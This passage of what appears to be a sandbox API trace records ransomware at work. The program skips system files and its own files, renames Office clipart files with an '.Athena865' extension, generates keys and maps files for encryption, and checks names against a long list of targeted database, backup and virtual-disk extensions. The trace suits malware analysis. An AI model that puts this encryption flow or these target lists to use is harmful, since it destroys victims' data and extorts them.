hHeap=0x4f0000) returned 1 [0120.938] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".") returned 1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="..") returned 1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="windows") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="bootmgr") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="temp") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="pagefile.sys") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="boot") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ids.txt") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="ntuser.dat") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="perflogs") returned -1 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="MSBuild") returned -1 [0120.938] lstrlenW (lpString="AG00092_.GIF") returned 12 [0120.938] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00092_.GIF" | out: lpString1="AG00092_.GIF") returned="AG00092_.GIF" [0120.938] lstrlenW (lpString="AG00092_.GIF") returned 12 [0120.938] lstrlenW (lpString="Athena865") returned 9 [0120.938] lstrcmpiW (lpString1="0092_.GIF", lpString2="Athena865") returned -1 [0120.938] lstrlenW (lpString=".dll") returned 4 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".dll") returned 1 [0120.938] lstrlenW (lpString=".lnk") returned 4 [0120.938] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".lnk") returned 1 [0120.939] lstrlenW (lpString=".ini") returned 4 [0120.939] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".ini") returned 1 [0120.939] lstrlenW (lpString=".sys") returned 4 [0120.939] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".sys") returned 1 [0120.939] lstrlenW (lpString="AG00092_.GIF") returned 12 [0120.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.Athena865") returned 73 [0120.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.athena865"), dwFlags=0x1) returned 1 [0120.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.940] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=502) returned 1 [0120.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.940] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.941] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.941] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.941] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x154 [0120.944] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0120.946] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.946] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.946] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.947] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.947] CloseHandle (hObject=0x154) returned 1 [0120.947] CloseHandle (hObject=0x17c) returned 1 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.948] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".") returned 1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="..") returned 1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="windows") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="bootmgr") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="temp") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="pagefile.sys") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="boot") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ids.txt") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="ntuser.dat") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="perflogs") returned -1 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="MSBuild") returned -1 [0120.948] lstrlenW (lpString="AG00103_.GIF") returned 12 [0120.948] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00103_.GIF" | out: lpString1="AG00103_.GIF") returned="AG00103_.GIF" [0120.948] lstrlenW (lpString="AG00103_.GIF") returned 12 [0120.948] lstrlenW (lpString="Athena865") returned 9 [0120.948] lstrcmpiW (lpString1="0103_.GIF", lpString2="Athena865") returned -1 [0120.948] lstrlenW (lpString=".dll") returned 4 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".dll") returned 1 [0120.948] lstrlenW (lpString=".lnk") returned 4 [0120.948] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".lnk") returned 1 [0120.949] lstrlenW (lpString=".ini") returned 4 [0120.949] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".ini") returned 1 [0120.949] lstrlenW (lpString=".sys") returned 4 [0120.960] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".sys") returned 1 [0120.960] lstrlenW (lpString="AG00103_.GIF") returned 12 [0120.960] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.Athena865") returned 73 [0120.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.athena865"), dwFlags=0x1) returned 1 [0120.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.964] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12702) returned 1 [0120.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.964] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.965] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.965] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.965] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34a0, lpName=0x0) returned 0x154 [0120.966] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34a0) returned 0x100000 [0120.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.969] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.969] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.970] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.970] CloseHandle (hObject=0x154) returned 1 [0120.970] CloseHandle (hObject=0x17c) returned 1 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.970] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".") returned 1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="..") returned 1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="windows") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="bootmgr") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="temp") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="pagefile.sys") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="boot") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ids.txt") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="ntuser.dat") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="perflogs") returned -1 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="MSBuild") returned -1 [0120.971] lstrlenW (lpString="AG00120_.GIF") returned 12 [0120.971] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00120_.GIF" | out: lpString1="AG00120_.GIF") returned="AG00120_.GIF" [0120.971] lstrlenW (lpString="AG00120_.GIF") returned 12 [0120.971] lstrlenW (lpString="Athena865") returned 9 [0120.971] lstrcmpiW (lpString1="0120_.GIF", lpString2="Athena865") returned -1 [0120.971] lstrlenW (lpString=".dll") returned 4 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".dll") returned 1 [0120.971] lstrlenW (lpString=".lnk") returned 4 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".lnk") returned 1 [0120.971] lstrlenW (lpString=".ini") returned 4 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".ini") returned 1 [0120.971] lstrlenW (lpString=".sys") returned 4 [0120.971] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".sys") returned 1 [0120.971] lstrlenW (lpString="AG00120_.GIF") returned 12 [0120.972] lstrlenW (lpString="bak") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.972] lstrlenW (lpString="ba_") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.972] lstrlenW (lpString="dbb") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.972] lstrlenW (lpString="vmdk") returned 4 [0120.972] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.972] lstrlenW (lpString="rar") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.972] lstrlenW (lpString="zip") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.972] lstrlenW (lpString="tgz") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.972] lstrlenW (lpString="vbox") returned 4 [0120.972] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.972] lstrlenW (lpString="vdi") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.972] lstrlenW (lpString="vhd") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.972] lstrlenW (lpString="vhdx") returned 4 [0120.972] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.972] lstrlenW (lpString="avhd") returned 4 [0120.972] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.972] lstrlenW (lpString="db") returned 2 [0120.972] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.972] lstrlenW (lpString="db2") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.972] lstrlenW (lpString="db3") returned 3 [0120.972] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.973] lstrlenW (lpString="dbf") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.973] lstrlenW (lpString="mdf") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.973] lstrlenW (lpString="mdb") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.973] lstrlenW (lpString="sql") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.973] lstrlenW (lpString="sqlite") returned 6 [0120.973] lstrcmpiW (lpString1="0_.GIF", lpString2="sqlite") returned -1 [0120.973] lstrlenW (lpString="sqlite3") returned 7 [0120.973] lstrcmpiW (lpString1="20_.GIF", lpString2="sqlite3") returned -1 [0120.973] lstrlenW (lpString="sqlitedb") returned 8 [0120.973] lstrcmpiW (lpString1="120_.GIF", lpString2="sqlitedb") returned -1 [0120.973] lstrlenW (lpString="xml") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.973] lstrlenW (lpString="$er") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.973] lstrlenW (lpString="4dd") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.973] lstrlenW (lpString="4dl") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.973] lstrlenW (lpString="^^^") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.973] lstrlenW (lpString="abs") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.973] lstrlenW (lpString="abx") returned 3 [0120.973] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.973] lstrlenW (lpString="accdb") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.974] lstrlenW (lpString="accdc") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.974] lstrlenW (lpString="accde") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.974] lstrlenW (lpString="accdr") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.974] lstrlenW (lpString="accdt") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.974] lstrlenW (lpString="accdw") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.974] lstrlenW (lpString="accft") returned 5 [0120.974] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.974] lstrlenW (lpString="adb") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.974] lstrlenW (lpString="adb") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.974] lstrlenW (lpString="ade") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.974] lstrlenW (lpString="adf") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.974] lstrlenW (lpString="adn") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.974] lstrlenW (lpString="adp") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.974] lstrlenW (lpString="alf") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.974] lstrlenW (lpString="ask") returned 3 [0120.974] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.974] lstrlenW (lpString="btr") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.975] lstrlenW (lpString="cat") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.975] lstrlenW (lpString="cdb") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.975] lstrlenW (lpString="ckp") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.975] lstrlenW (lpString="cma") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.975] lstrlenW (lpString="cpd") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.975] lstrlenW (lpString="dacpac") returned 6 [0120.975] lstrcmpiW (lpString1="0_.GIF", lpString2="dacpac") returned -1 [0120.975] lstrlenW (lpString="dad") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.975] lstrlenW (lpString="dadiagrams") returned 10 [0120.975] lstrcmpiW (lpString1="00120_.GIF", lpString2="dadiagrams") returned -1 [0120.975] lstrlenW (lpString="daschema") returned 8 [0120.975] lstrcmpiW (lpString1="120_.GIF", lpString2="daschema") returned -1 [0120.975] lstrlenW (lpString="db-journal") returned 10 [0120.975] lstrcmpiW (lpString1="00120_.GIF", lpString2="db-journal") returned -1 [0120.975] lstrlenW (lpString="db-shm") returned 6 [0120.975] lstrcmpiW (lpString1="0_.GIF", lpString2="db-shm") returned -1 [0120.975] lstrlenW (lpString="db-wal") returned 6 [0120.975] lstrcmpiW (lpString1="0_.GIF", lpString2="db-wal") returned -1 [0120.975] lstrlenW (lpString="dbc") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.975] lstrlenW (lpString="dbs") returned 3 [0120.975] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.975] lstrlenW (lpString="dbt") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.976] lstrlenW (lpString="dbv") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.976] lstrlenW (lpString="dbx") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.976] lstrlenW (lpString="dcb") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.976] lstrlenW (lpString="dct") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.976] lstrlenW (lpString="dcx") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0120.976] lstrlenW (lpString="ddl") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0120.976] lstrlenW (lpString="dlis") returned 4 [0120.976] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0120.976] lstrlenW (lpString="dp1") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0120.976] lstrlenW (lpString="dqy") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0120.976] lstrlenW (lpString="dsk") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0120.976] lstrlenW (lpString="dsn") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0120.976] lstrlenW (lpString="dtsx") returned 4 [0120.976] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0120.976] lstrlenW (lpString="dxl") returned 3 [0120.976] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0120.976] lstrlenW (lpString="eco") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0120.977] lstrlenW (lpString="ecx") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0120.977] lstrlenW (lpString="edb") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0120.977] lstrlenW (lpString="epim") returned 4 [0120.977] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0120.977] lstrlenW (lpString="fcd") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0120.977] lstrlenW (lpString="fdb") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0120.977] lstrlenW (lpString="fic") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0120.977] lstrlenW (lpString="flexolibrary") returned 12 [0120.977] lstrlenW (lpString="fm5") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0120.977] lstrlenW (lpString="fmp") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0120.977] lstrlenW (lpString="fmp12") returned 5 [0120.977] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0120.977] lstrlenW (lpString="fmpsl") returned 5 [0120.977] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0120.977] lstrlenW (lpString="fol") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0120.977] lstrlenW (lpString="fp3") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0120.977] lstrlenW (lpString="fp4") returned 3 [0120.977] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0120.978] lstrlenW (lpString="fp5") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0120.978] lstrlenW (lpString="fp7") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0120.978] lstrlenW (lpString="fpt") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0120.978] lstrlenW (lpString="frm") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0120.978] lstrlenW (lpString="gdb") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0120.978] lstrlenW (lpString="gdb") returned 3 [0120.978] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 